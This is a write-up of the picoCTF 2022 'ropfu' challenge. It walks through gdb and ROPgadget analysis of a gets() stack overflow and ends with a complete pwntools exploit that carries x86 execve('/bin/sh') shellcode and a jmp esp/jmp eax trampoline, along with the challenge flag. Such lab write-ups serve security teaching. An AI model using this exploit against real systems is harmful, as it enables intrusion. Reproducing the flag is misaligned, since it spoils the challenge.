# rpofu - picoCTF 2022 - CMU Cybersecurity CompetitionBinary Exploitation, 300 Points
## Description
![‏‏info.JPG](images/info.JPG) ## rpofu Solution
Let's observe the attached file [vuln.c](./vuln.c):```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
#define BUFSIZE 16
void vuln() {  char buf[16];  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");  return gets(buf);
}
int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0); 
  // Set the gid to the effective gid  // this prevents /bin/sh from dropping the privileges  gid_t gid = getegid();  setresgid(gid, gid, gid);  vuln(); }```
Let's run ```checksec``` on the attached file [vuln](./vuln):```console┌─[evyatar@parrot]─[/pictoctf2022/binary_exploitation/ropfu]└──╼ $ checksec vuln[*] '/pictoctf2022/binary_exploitation/ropfu/vuln'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX disabled    PIE:      No PIE (0x8048000)    RWX:      Has RWX segments```
Partial RELRO, No canary and no PIE and also no NX.
So according to the challenge name/description, we know that we need to use [ROP](https://ctf101.org/binary-exploitation/return-oriented-programming/).
Let's see what is the offset between ```buf``` to ```EIP``` using ```gdb```.```asmgef➤  rStarting program: /pictoctf2022/binary_exploitation/ropfu/vuln How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!AAAAAAAA
gef➤  search-pattern AAAAAAAA[+] Searching 'AAAAAAAA' in memory[+] In '[heap]'(0x80e7000-0x8109000), permission=rwx  0x80e8330 - 0x80e833a  →   "AAAAAAAA\n" [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx  0xffffd050 - 0xffffd058  →   "AAAAAAAA" gef➤  i fStack level 0, frame at 0xffffd070: eip = 0x8049dd0 in vuln; saved eip = 0x8049e2a called by frame at 0xffffd0a0 Arglist at 0xffffd068, args:  Locals at 0xffffd068, Previous frame's sp is 0xffffd070 Saved registers:  eip at 0xffffd06c```
```buf``` locate on ```0xffffd050``` and ```EIP``` on ```0xffffd06c``` the offset is ```28``` bytes.
Let's set a breakpoint on ```ret``` instruction on ```vuln``` function:```asmgef➤  disassemble vuln Dump of assembler code for function vuln:   0x08049d95 <+0>:	endbr32    0x08049d99 <+4>:	push   ebp   0x08049d9a <+5>:	mov    ebp,esp   0x08049d9c <+7>:	push   ebx   0x08049d9d <+8>:	sub    esp,0x14   0x08049da0 <+11>:	call   0x8049c70 <__x86.get_pc_thunk.bx>   0x08049da5 <+16>:	add    ebx,0x9b25b   0x08049dab <+22>:	sub    esp,0xc   0x08049dae <+25>:	lea    eax,[ebx-0x30ff8]   0x08049db4 <+31>:	push   eax   0x08049db5 <+32>:	call   0x8051d40 <puts>   0x08049dba <+37>:	add    esp,0x10   0x08049dbd <+40>:	sub    esp,0xc   0x08049dc0 <+43>:	lea    eax,[ebp-0x18]   0x08049dc3 <+46>:	push   eax   0x08049dc4 <+47>:	call   0x8051b70 <gets>   0x08049dc9 <+52>:	add    esp,0x10   0x08049dcc <+55>:	mov    ebx,DWORD PTR [ebp-0x4]   0x08049dcf <+58>:	leave     0x08049dd0 <+59>:	ret    End of assembler dump.gef➤  b * 0x08049dd0Breakpoint 1 at 0x8049dd0```
Now, Let's see the registers at this moment:```asm───────────────────────────────────── registers ───────────────────────────────────────────────────────$eax   : 0xffffd050  →  "AAAAAAAA"$ebx   : 0x080e5000  →  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$ecx   : 0x080e5300  →  <_IO_2_1_stdin_+0> mov BYTE PTR [edx], ah$edx   : 0xffffd058  →  0x080e5000  →  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$esp   : 0xffffd06c  →  0x08049e2a  →  <main+89> mov eax, 0x0$ebp   : 0xffffd088  →  0x00000000$esi   : 0x080e5000  →  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$edi   : 0x080e5000  →  <_GLOBAL_OFFSET_TABLE_+0> add BYTE PTR [eax], al$eip   : 0x08049dd0  →  <vuln+59> ret $eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
```
We can see ```eax``` register point to the start of the buffer, and by using ```vmmap``` we can see the address of the ```buf``` (which is ```0xffffd050```) on the executable stack area:```asmgef➤  vmmap [ Legend:  Code | Heap | Stack ]Start      End        Offset     Perm Path0x08048000 0x080e3000 0x00000000 r-x /pictoctf2022/binary_exploitation/ropfu/vuln0x080e3000 0x080e5000 0x0009a000 r-x /pictoctf2022/binary_exploitation/ropfu/vuln0x080e5000 0x080e7000 0x0009c000 rwx /pictoctf2022/binary_exploitation/ropfu/vuln0x080e7000 0x08109000 0x00000000 rwx [heap]0xf7ff8000 0xf7ffc000 0x00000000 r-- [vvar]0xf7ffc000 0xf7ffe000 0x00000000 r-x [vdso]0xfffdd000 0xffffe000 0x00000000 rwx [stack]```
So we can write the shellcode right after the return address, and on ```buf``` we can jump to this area.
First, Let's find the gadget using [ROPgadget](https://github.com/JonathanSalwan/ROPgadget) to jump to ```eax``` which is the start of the ```buf```:```console┌─[evyatar@parrot]─[/pictoctf2022/binary_exploitation/ropfu]└──╼ $ ROPgadget --binary vuln | grep "jmp eax"0x08057c12 : adc al, 0x5e ; pop edi ; jmp eax0x0807162d : adc al, 0x89 ; fcomp dword ptr [ebx + 0x5e] ; pop edi ; pop ebp ; jmp eax0x08085878 : adc al, ah ; mov eax, dword ptr [ecx + eax*4] ; jmp eax0x0808632a : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x15c0] ; jmp eax0x08085538 : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x1640] ; jmp eax0x0808628a : adc al, ah ; mov eax, dword ptr [edi + eax*4 - 0x16c0] ; jmp eax...0x0805334b : jmp eax...
```
We can see the gadget ```0x0805334b : jmp eax``` and that's exactly what we need.
Now, We need to find a command to jump to address after the return address.
```call``` instruction pushes the current value of the ```EIP``` register (return address) to the stack + does the call to ```vuln``` function, ```ret``` instruction pops the return address(that call pushed) from the top of the stack (```ESP``` register points there) and writes it in the ```EIP``` register.
So ```jmp ESP``` will jmp to ```ESP``` location where ```ESP``` is pointing at the location below the return address which is where our shellcode is.
The instruction ```jmp ESP``` is ```\xFF\xE4``` ([https://defuse.ca/online-x86-assembler.htm#disassembly](https://defuse.ca/online-x86-assembler.htm#disassembly)), you can understand ```ESP``` contains the return address [here](https://pages.cs.wisc.edu/~remzi/Classes/354/Fall2012/Handouts/Handout-CallReturn.pdf).
So Let's solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html):```pythonfrom pwn import *
elf = ELF('./vuln')
if args.REMOTE:    p = remote('saturn.picoctf.net', 57347)else:    p = process(elf.path)
# payload bufferpayload = b"\x90"*6 # nop sledpayload += b"\xFF\xE4" # jmp esp - jump to the shell code right after the return addresspayload += b"\x90"*20 # nop sledpayload += p32(0x0805334b) # jmp eax - will jump to start of buf which jump again to the shell code right after the return addresspayload += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # shell code
print(p.recvuntil('!'))p.sendline(payload)p.interactive()```
Run it:```console┌─[evyatar@parrot]─[/pictoctf2022/binary_exploitation/ropfu]└──╼ $ python3 exp.py REMOTE[*] '/pictoctf2022/binary_exploitation/ropfu/vuln'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX disabled    PIE:      No PIE (0x8048000)    RWX:      Has RWX segments[+] Opening connection to saturn.picoctf.net on port 57347: Doneb'How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!'[*] Switching to interactive mode
$ lsflag.txtvuln$ cat flag.txtpicoCTF{5n47ch_7h3_5h311_029ab653}$  
```
And we get the flag ```picoCTF{5n47ch_7h3_5h311_029ab653}```.